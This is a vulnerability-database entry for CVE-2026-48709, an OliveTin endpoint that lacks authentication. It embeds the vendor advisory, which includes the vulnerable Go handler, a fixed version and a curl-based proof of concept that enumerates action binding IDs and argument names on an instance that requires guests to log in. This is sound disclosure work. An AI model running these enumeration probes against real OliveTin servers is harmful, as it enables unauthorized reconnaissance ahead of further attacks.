CVE-2026-48709
lowpriority · track · 0OT risk · elevatedEPSS 0.004 · 35 %ileEUUSEPSS · scored 2026-10-22
OliveTin gives access to predefined shell commands from a web interface. In versions 3000.0.0 and prior, The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. This issue has been fixed in version 3000.13.0.
cvss
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base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
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affected products (2)
Products and version ranges known to be affected.
- Go github.com/OliveTin/OliveTin< 0.0.0-20260521230847-a3865704c854osvUSpkg:golang/github.com/OliveTin/OliveTin
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-f637-w7p2-m7fxOliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration2026-06-24ghsa · osvUS
## Summary The `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. ## Details ### Root Cause The `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ``` Compare this with adjacent endpoints that DO have auth checks: ```go // WhoAmI - has auth check func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } // GetDashboard - has auth check func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } ``` ### Oracle Behavior The endpoint provides different responses based on whether the binding and argument exist: - **Valid binding + valid argument**: Returns `{valid: true/false, description: "..."}` (200 OK) - **Valid binding + invalid argument**: Returns `CodeNotFound` error - **Invalid binding**: Returns `CodeNotFound` error While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound. ### Binding ID Predictability Binding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint. ### Scope This finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API. When `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`. ## PoC ### Prerequisites - OliveTin instance with `AuthRequireGuestsToLogin: true` configured ### Step 1: Verify other endpoints require auth Confirm that regular endpoints reject unauthenticated requests: ```bash curl -s -X POST http://localhost:1337/api/GetDashboard \ -H "Content-Type: application/json" \ -d "{}" # Returns: CodePermissionDenied - "guests are not allowed to access the dashboard" ``` ### Step 2: Enumerate binding IDs via ValidateArgumentType Test candidate binding IDs (SHA256 of guessed action titles): ```bash # Test if an action titled "Ping" exists BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1) curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}" # If action exists: returns CodeNotFound (argument "test" not found for this binding) # If action does not exist: returns CodeNotFound (same message, but confirms the oracle) ``` ### Step 3: Enumerate argument names for a known binding Once a valid binding ID is known, brute-force argument names: ```bash # Test if argument "target" exists for the Ping action curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}" # If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED # If argument does not exist: returns CodeNotFound error ``` ## Impact 1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties. 2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering. 3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information. ## Recommended Fix Add authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { // Add auth check consistent with other endpoints user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ```
- GO-2026-5347OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration in github.com/OliveTin/OliveTin2026-06-25vendor · osvUS
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration in github.com/OliveTin/OliveTin
also known as (5)
Other names and identifiers for this entity.
sources
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references (8)
External citations — patches, advisories, analysis.
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0cnnvd
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fxcnnvd
- https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccdenisa_euvd
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0enisa_euvd
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fxenisa_euvd
- https://github.com/OliveTin/OliveTin/commit/a3865704c854061452a4ab5f6d95de3312698ccdnvd
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0nvd
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fxnvd
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